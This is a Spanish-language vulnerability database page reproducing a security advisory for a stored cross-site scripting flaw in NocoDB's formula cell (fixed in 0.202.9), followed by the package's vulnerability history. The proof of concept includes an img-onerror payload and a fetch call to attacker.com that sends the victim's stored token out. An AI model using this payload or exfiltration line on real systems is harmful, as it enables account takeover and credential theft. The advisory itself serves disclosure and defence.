Alta

NocoDB Vulnerable to Stored Cross-Site Scripting in Formula.vue

  • Publicada: 13.05.2024
  • Actualizado: 11.10.2026 10:22

Summary

A stored cross-site scripting vulnerability exists within the Formula virtual cell comments functionality.

Details

The nc-gui/components/virtual-cell/Formula.vue displays a v-html tag with the value of "urls" whose contents are processed by the function replaceUrlsWithLink(). This function recognizes the pattern URI::(XXX) and creates a hyperlink tag <a> with href=XXX. However, it leaves all the other contents outside of the pattern URI::(XXX) unchanged, which makes the evil users can create a malicious table with a formula field whose payload is <img src=1 onerror="malicious javascripts"URI::(XXX). The evil users then can share this table with others by enabling public viewing and the victims who open the shared link can be attacked.

PoC

Step 1: Attacker login the nocodb and creates a table with two fields, "T" and "F". The type of field "T" is "SingleLineText", and the type of the "F" is "Fomula" with the formula content {T} Step 2: The attacker sets the contents of T using <img src=1 onerror=alert(localStorage.getItem('nocodb-gui-v2'))URI::(XXX) Step 3: The attacker clicks the "Share" button and enables public viewing, then copies the shared link and sends it to the victims Step 4: Any victims who open the shared link in their browsers will see the alert with their confidential tokens stored in localStorage

The attackers can use the fetch(http://attacker.com/?localStorage.getItem('nocodb-gui-v2')) to replace the alert and then steal the victims' credentials in their attacker.com website.

Impact

Stealing the credentials of NocoDB user that clicks the malicious link.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm nocodb < 0.202.9 0.202.9

Referencias

Puntuación CVSS 7.3/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
Debilidad (CWE)
CWE-79
Plataforma
npm
Paquete
nocodb
Publicada
13.05.2024
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-h6r4-xvw6-jc5h - CC BY 4.0

Historial de vulnerabilidades: nocodb

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (54) en el archivo
Entradas en total
54
Primera → última
06.2022 06.2026
Sin corrección
13
Explotada en ataques
0

Distribución por gravedad

  • Alta 7
  • Media 41
  • Baja 6

Divulgaciones por año

  1. 2022: 5
  2. 2023: 2
  3. 2024: 3
  4. 2025: 1
  5. 2026: 43
Gravedad:
  1. Alta CVE-2026-47387 < 2026.05.1 2026.05.1
  2. Alta CVE-2026-47383 < 2026.05.1 2026.05.1
  3. NocoDB Vulnerable to Stored Cross-Site Scripting in Formula.vue esta entrada
    Alta · 7.3 CVE-2023-49781 < 0.202.9 0.202.9
  4. Alta · 8.8 CVE-2022-2064 < 0.91.9 0.91.9
  5. Alta · 8.8 CVE-2022-2063 < 0.91.8 0.91.8
  6. Alta · 7.5 CVE-2022-2062 < 0.91.7 0.91.7

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.